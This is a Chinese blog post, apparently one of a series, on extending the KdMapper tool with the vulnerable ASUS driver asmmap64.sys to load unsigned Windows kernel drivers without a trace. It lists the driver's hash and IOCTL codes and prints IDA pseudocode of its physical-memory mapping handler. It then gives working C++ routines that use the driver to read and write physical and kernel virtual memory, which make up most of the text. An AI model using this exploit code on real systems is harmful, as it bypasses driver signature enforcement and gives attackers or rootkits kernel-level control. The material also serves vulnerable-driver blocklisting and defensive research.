KdMapper扩展实现之ASUS(asmmap64.sys)
1.背景
KdMapper是一个利用intel的驱动漏洞可以无痕的加载未经签名的驱动,本文是利用其它漏洞(参考《【转载】利用签名驱动漏洞加载未签名驱动》)做相应的修改以实现类似功能。需要大家对KdMapper的代码有一定了解。
2.驱动信息
驱动名称 | asmmap64.sys |
时间戳 | 4A4C7A36 |
MD5 | 4C016FD76ED5C05E84CA8CAB77993961 |
文件版本 | 1.0.9.1 |
设备名称 | \\.\ASMMAP64 |
映射物理内存 | 0x9C402580 |
取消映射物理内存 | 0x9C402584 |
Windows 7 | 支持 |
Windows 10 | 22H2(包含)及以下 |
Windows 11 | 22621(不包含)以下 |
3.IDA分析
3.1 入口函数:
NTSTATUS __stdcall DriverEntry(_DRIVER_OBJECT* DriverObject, PUNICODE_STRING RegistryPath)
{
int v3; // ebx
_QWORD* v4; // rcx
_QWORD* v5; // rcx
struct _UNICODE_STRING DestinationString; // [rsp+40h] [rbp-28h] BYREF
struct _UNICODE_STRING SymbolicLinkName; // [rsp+50h] [rbp-18h] BYREF
PDEVICE_OBJECT DeviceObject; // [rsp+70h] [rbp+8h] BYREF
DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)sub_110E4;
DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)sub_110E4;
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)sub_110E4;
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_11300;
RtlInitUnicodeString(&DestinationString, L"\\Device\\ASMMAP64");
v3 = IoCreateDevice(DriverObject, 0x10u, &DestinationString, 0x9C40u, 0, 0, &DeviceObject);
if (v3 >= 0)
{
v4 = DeviceObject->DeviceExtension;
*v4 = 0i64;
v4[1] = 0i64;
RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\ASMMAP64");
v3 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
if (v3 >= 0)
{
v5 = DeviceObject->DeviceExtension;
v5[1] = DeviceObject;
*(_DWORD*)v5 = 40000;
}
else
{
IoDeleteDevice(DeviceObject);
}
}
return v3;
}
3.2 IRP_MJ_DEVICE_CONTROL
IRP_MJ_DEVICE_CONTROL对应的函数 sub_110E4,其代码如下:
__int64 __fastcall sub_110E4(_DEVICE_OBJECT* pDeviceObject, IRP* pIrp)
{
_IO_STACK_LOCATION* pIosp; // r8
ASMMAP64_PHYSICAL_MEMORY_INFO* pPhysicalMomoryInfo; // rcx
void* pMappedAddress; // rbx
......
if (pIosp->MajorFunction == 0xE) // IRP_MJ_DEVICE_IO_CONTROL
{
nIOControlCode = pIosp->Parameters.DeviceIoControl.IoControlCode;
switch (nIOControlCode)
{
case 0x9C402580:
ntStatusReturn = sub_11344((__int64)pDeviceExtension, pIrp, (__int64)pIosp);
break;
case 0x9C402584:
nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;
pPhysicalMomoryInfo = (ASMMAP64_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;
pIrp->IoStatus.Information = 0i64;
if (nInputBufferLength != 24)
{
DbgPrint("(UMMAPMEM) Insufficient input or output buffer\n");
ntStatus = 0xC000009A;
goto LABEL_26;
}
pMappedAddress = (void*)pPhysicalMomoryInfo->MappedBaseAddress;
DbgPrint(
"(UMMAPMEM) Unmap Addr %I64x [%x,%x]\n",
pMappedAddress,
HIDWORD(pPhysicalMomoryInfo->MappedBaseAddress),
(unsigned int)pMappedAddress);
ntStatusReturn = ZwUnmapViewOfSection((HANDLE)0xFFFFFFFFFFFFFFFFi64, pMappedAddress);
break;
......
}
......
}
......
}
其中映射物理内存 ControlCode 为 0x9C402580,相应的函数为 sub_11344, 取消映射为 0x9C402584 。
3.3 映射物理内存
sub_11344 如下:
__int64 __fastcall sub_11344(__int64 pDeviceExtension, IRP* pIrp, _IO_STACK_LOCATION* pIosp)
{
ULONG nInputBufferLength; // eax
ULONG nOutputBufferLength; // ecx
ASMMAP64_PHYSICAL_MEMORY_INFO* pPhysicalMomoryInfo; // rdi
LONG highPhysicalAddress; // eax
__int64 nMappedLength; // rbx
BOOLEAN v9; // bl
BOOLEAN v10; // al
NTSTATUS v11; // eax
__int64 v12; // r8
__int64 v13; // rdx
LARGE_INTEGER TranslatedAddress; // [rsp+50h] [rbp-98h] BYREF
PHYSICAL_ADDRESS BusAddress; // [rsp+58h] [rbp-90h] BYREF
LARGE_INTEGER BusAddress2; // [rsp+60h] [rbp-88h] BYREF
void* SectionHandle; // [rsp+68h] [rbp-80h] BYREF
PVOID BaseAddress; // [rsp+70h] [rbp-78h] BYREF
union _LARGE_INTEGER SectionOffset; // [rsp+78h] [rbp-70h] BYREF
PVOID Object; // [rsp+80h] [rbp-68h] BYREF
struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+88h] [rbp-60h] BYREF
_UNICODE_STRING v23[3]; // [rsp+B8h] [rbp-30h] BYREF
ULONG AddressSpace; // [rsp+F8h] [rbp+10h] BYREF
ULONG AddressSpace2; // [rsp+100h] [rbp+18h] BYREF
nInputBufferLength = pIosp->Parameters.DeviceIoControl.InputBufferLength;// pIosp->DeviceIoControl.InputBufferLength
nOutputBufferLength = pIosp->Parameters.DeviceIoControl.OutputBufferLength;// pIosp->DeviceIoControl.OutputBufferLength
pPhysicalMomoryInfo = (ASMMAP64_PHYSICAL_MEMORY_INFO*)pIrp->AssociatedIrp.SystemBuffer;// pIrp->AssociatedIrp.SystemBuffer
SectionHandle = 0i64;
Object = 0i64;
pIrp->IoStatus.Information = 0i64; // pIrp->NtStatus.Information = 0;
if (nInputBufferLength >= 0x18 && nOutputBufferLength >= 0x18)
{
BusAddress.LowPart = pPhysicalMomoryInfo->PhysicalAddress;
highPhysicalAddress = HIDWORD(pPhysicalMomoryInfo->PhysicalAddress);
AddressSpace2 = 0;
AddressSpace = 0;
nMappedLength = (unsigned int)pPhysicalMomoryInfo->MappedLengthIn;
BusAddress.HighPart = highPhysicalAddress;
RtlInitUnicodeString(v23, L"\\Device\\PhysicalMemory");
ObjectAttributes.ObjectName = v23;
ObjectAttributes.Length = 48;
ObjectAttributes.RootDirectory = 0i64;
ObjectAttributes.Attributes = 64;
ObjectAttributes.SecurityDescriptor = 0i64;
ObjectAttributes.SecurityQualityOfService = 0i64;
ZwOpenSection(&SectionHandle, 0xF001Fu, &ObjectAttributes);
if (ObReferenceObjectByHandle(SectionHandle, 0xF001Fu, 0i64, 0, &Object, 0i64) >= 0)
{
BusAddress2.QuadPart = BusAddress.QuadPart + nMappedLength;
v9 = HalTranslateBusAddress(Isa, 0, BusAddress, &AddressSpace, &TranslatedAddress);
v10 = HalTranslateBusAddress(Isa, 0, BusAddress2, &AddressSpace2, &BusAddress2);
if (!v9 || !v10)
{
DbgPrint("(MAPMEM) HalTranslatephysicalAddress failed\n");
goto LABEL_16;
}
DbgPrint(
"(MAPMEM) physicalAddressbase=%8.8x %8.8x\n",
(unsigned int)TranslatedAddress.HighPart,
TranslatedAddress.LowPart);
DbgPrint("(MAPMEM) physicalAddressend=%8.8x %8.8x\n", (unsigned int)BusAddress2.HighPart, BusAddress2.LowPart);
if (BusAddress2.LowPart != TranslatedAddress.LowPart)
{
if (AddressSpace)
{
DbgPrint("inIoSpace = 1\n");
pPhysicalMomoryInfo->MappedBaseAddress = TranslatedAddress.QuadPart;
}
else
{
BusAddress.QuadPart = BusAddress2.LowPart - TranslatedAddress.LowPart;
SectionOffset = TranslatedAddress;
BaseAddress = 0i64;
DbgPrint("viewBase:%x %x\n", (unsigned int)TranslatedAddress.HighPart, TranslatedAddress.LowPart);
v11 = ZwMapViewOfSection(
SectionHandle,
(HANDLE)0xFFFFFFFFFFFFFFFFi64,
&BaseAddress,
0i64,
BusAddress.QuadPart,
&SectionOffset,
(PSIZE_T)&BusAddress.QuadPart,
ViewShare,
0,
0x204u);
if (v11 < 0)
{
DbgPrint("(MAPMEM) ZwMapViewOfSection failed:%x\n", (unsigned int)v11);
goto LABEL_16;
}
DbgPrint("(MAPMEM) physicalMemoryHandle=%x\n", SectionHandle);
BaseAddress = (char*)BaseAddress + TranslatedAddress.QuadPart - SectionOffset.QuadPart;
LODWORD(pPhysicalMomoryInfo->MappedBaseAddress) = (_DWORD)BaseAddress;
v12 = LODWORD(pPhysicalMomoryInfo->MappedBaseAddress);
v13 = HIDWORD(BaseAddress);
HIDWORD(pPhysicalMomoryInfo->MappedBaseAddress) = HIDWORD(BaseAddress);
DbgPrint("(MAPMEM) virtualAddress=%x %x\n", v13, v12);
}
DbgPrint("(MAPMEM) memory successfully mapped\n");
pIrp->IoStatus.Information = 24i64;
goto LABEL_16;
}
DbgPrint("(MAPMEM) mappedLength.LowPart == 0\n");
}
else
{
DbgPrint("(MAPMEM) ObReferenceObjectByHandle failed\n");
}
LABEL_16:
ZwClose(SectionHandle);
return 0i64;
}
DbgPrint("(MAPMEM) Buffer size error\n");
return 3221225626i64;
}
其使用的是ZwMapViewOfSection将物理内存映射到进程空间。由于使用了物理内存,在代码过程中会遇到物理页面和虚拟页面不一一对应的问题,问题说明及解决办法见《KdMapper扩展中遇到的相关问题》。
3.4 ASMMAP64_PHYSICAL_MEMORY_INFO结构
00000000 ASMMAP64_PHYSICAL_MEMORY_INFO struc ; (sizeof=0x18, mappedto_381)
00000000 PhysicalAddress dq ?
00000008 MappedBaseAddress dq ?
00000010 MappedLengthIn dd ?
00000014 MappedLengthOut dd ?
00000018 ASMMAP64_PHYSICAL_MEMORY_INFO ends
4. 代码实现
4.1 .h文件
#pragma pack(push)
#pragma pack(1)
typedef struct /*DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT)*/_ASMMAP64_PHYSICAL_MEMORY_INFO {
PHYSICAL_ADDRESS PhysicalAddress;
PVOID MappedBaseAddress;
ULONG MappedLengthIn;
ULONG MappedLengthOut;
} ASMMAP64_PHYSICAL_MEMORY_INFO, * PASMMAP64_PHYSICAL_MEMORY_INFO;
#pragma pack(pop)
#ifndef RtlOffsetToPointer
#define RtlOffsetToPointer(Base, Offset) ((PCHAR)( ((PCHAR)(Base)) + ((ULONG_PTR)(Offset)) ))
#endif
#ifndef RtlPointerToOffset
#define RtlPointerToOffset(Base, Pointer) ((ULONG)( ((PCHAR)(Pointer)) - ((PCHAR)(Base)) ))
#endif
#define ASMMAP64_DEVICE_TYPE (DWORD)0x9C40
#define ASMMAP64_MAP_SECTION_FUNCID (DWORD)0x960
#define ASMMAP64_UNMAP_SECTION_FUNCID (DWORD)0x961
#define IOCTL_ASMMAP64_MAP_USER_PHYSICAL_MEMORY \
CTL_CODE(ASMMAP64_DEVICE_TYPE, ASMMAP64_MAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402580
#define IOCTL_ASMMAP64_UNMAP_USER_PHYSICAL_MEMORY \
CTL_CODE(ASMMAP64_DEVICE_TYPE, ASMMAP64_UNMAP_SECTION_FUNCID, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402584
4.2 .c文件
NTSTATUS asus_driver::SuperCallDriverEx(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength,
_Out_opt_ PIO_STATUS_BLOCK IoStatus)
{
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = NtDeviceIoControlFile(DeviceHandle,
NULL,
NULL,
NULL,
&ioStatus,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength);
if (ntStatus == STATUS_PENDING) {
ntStatus = NtWaitForSingleObject(DeviceHandle,
FALSE,
NULL);
}
if (IoStatus)
*IoStatus = ioStatus;
return ntStatus;
}
BOOL asus_driver::SuperCallDriver(
_In_ HANDLE DeviceHandle,
_In_ ULONG IoControlCode,
_In_ PVOID InputBuffer,
_In_ ULONG InputBufferLength,
_In_opt_ PVOID OutputBuffer,
_In_opt_ ULONG OutputBufferLength)
{
BOOL bResult;
IO_STATUS_BLOCK ioStatus;
NTSTATUS ntStatus = SuperCallDriverEx(
DeviceHandle,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength,
&ioStatus);
bResult = NT_SUCCESS(ntStatus);
SetLastError(RtlNtStatusToDosError(ntStatus));
return bResult;
}
PVOID asus_driver::SuperMapMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ ULONG NumberOfBytes
)
{
ULONG_PTR offset;
ULONG mapSize;
ASMMAP64_PHYSICAL_MEMORY_INFO request;
RtlSecureZeroMemory(&request, sizeof(request));
offset = PhysicalAddress & ~(PAGE_SIZE - 1);
mapSize = (ULONG)(PhysicalAddress - offset) + NumberOfBytes;
request.PhysicalAddress.QuadPart = PhysicalAddress;
request.MappedLengthOut = mapSize;
request.MappedLengthIn = mapSize;
request.MappedBaseAddress = NULL;
if (SuperCallDriver(DeviceHandle,
IOCTL_ASMMAP64_MAP_USER_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request)))
{
/*Log(L"[!] SuperMapMemory, Address:0x" << std::setbase(16) << request.MappedBaseAddress << std::endl);*/
return request.MappedBaseAddress;
}
return NULL;
}
VOID asus_driver::SuperUnmapMemory(
_In_ HANDLE DeviceHandle,
_In_ PVOID SectionToUnmap
)
{
ASMMAP64_PHYSICAL_MEMORY_INFO request;
RtlSecureZeroMemory(&request, sizeof(request));
request.MappedBaseAddress = SectionToUnmap;
SuperCallDriver(DeviceHandle,
IOCTL_ASMMAP64_UNMAP_USER_PHYSICAL_MEMORY,
&request,
sizeof(request),
&request,
sizeof(request));
}
BOOL WINAPI asus_driver::SuperReadWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes,
_In_ BOOLEAN DoWrite)
{
BOOL bResult = FALSE;
DWORD dwError = ERROR_SUCCESS;
PVOID mappedSection = NULL;
ULONG_PTR offset;
//
// Map physical memory section.
//
mappedSection = SuperMapMemory(DeviceHandle,
PhysicalAddress,
NumberOfBytes);
if (mappedSection) {
offset = PhysicalAddress - (PhysicalAddress & ~(PAGE_SIZE - 1));
__try {
if (DoWrite) {
RtlCopyMemory(mappedSection/*RtlOffsetToPointer(mappedSection, offset)*/, Buffer, NumberOfBytes);
}
else {
RtlCopyMemory(Buffer, mappedSection /*RtlOffsetToPointer(mappedSection, offset)*/, NumberOfBytes);
}
bResult = TRUE;
}
__except (EXCEPTION_EXECUTE_HANDLER) {
bResult = FALSE;
dwError = GetExceptionCode();
Log(L"[!] Error AtszioReadWritePhysicalMemory Exception!" << std::endl);
}
//
// Unmap physical memory section.
//
SuperUnmapMemory(DeviceHandle,
mappedSection);
}
else {
dwError = GetLastError();
}
SetLastError(dwError);
return bResult;
}
BOOL WINAPI asus_driver::SuperReadPhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_ PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
BOOL WINAPI asus_driver::SuperWritePhysicalMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR PhysicalAddress,
_In_reads_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
return SuperReadWritePhysicalMemory(DeviceHandle,
PhysicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
BOOL WINAPI asus_driver::SuperWriteKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
TRUE);
}
return bResult;
}
BOOL WINAPI asus_driver::SuperReadKernelVirtualMemory(
_In_ HANDLE DeviceHandle,
_In_ ULONG_PTR Address,
_Out_writes_bytes_(NumberOfBytes) PVOID Buffer,
_In_ ULONG NumberOfBytes)
{
BOOL bResult;
ULONG_PTR physicalAddress = 0;
SetLastError(ERROR_SUCCESS);
bResult = SuperVirtualToPhysical(DeviceHandle,
Address,
&physicalAddress);
if (bResult) {
bResult = SuperReadWritePhysicalMemory(DeviceHandle,
physicalAddress,
Buffer,
NumberOfBytes,
FALSE);
}
return bResult;
}
其中 SuperReadKernelVirtualMemory 和 SuperWriteKernelVirtualMemory 读写虚拟地址内存页面中的 虚拟地址转物理地址函数 SuperVirtualToPhysical 的实现在《KdMapper扩展实现之虚拟地址转物理地址 》一文中有介绍。
5. 运行效果
Windows 10 22H2环境上运行的效果如下,其中驱动 HelloWorld.sys为未签名的驱动,其详细说明见文章《KdMapper被加载驱动的实现》。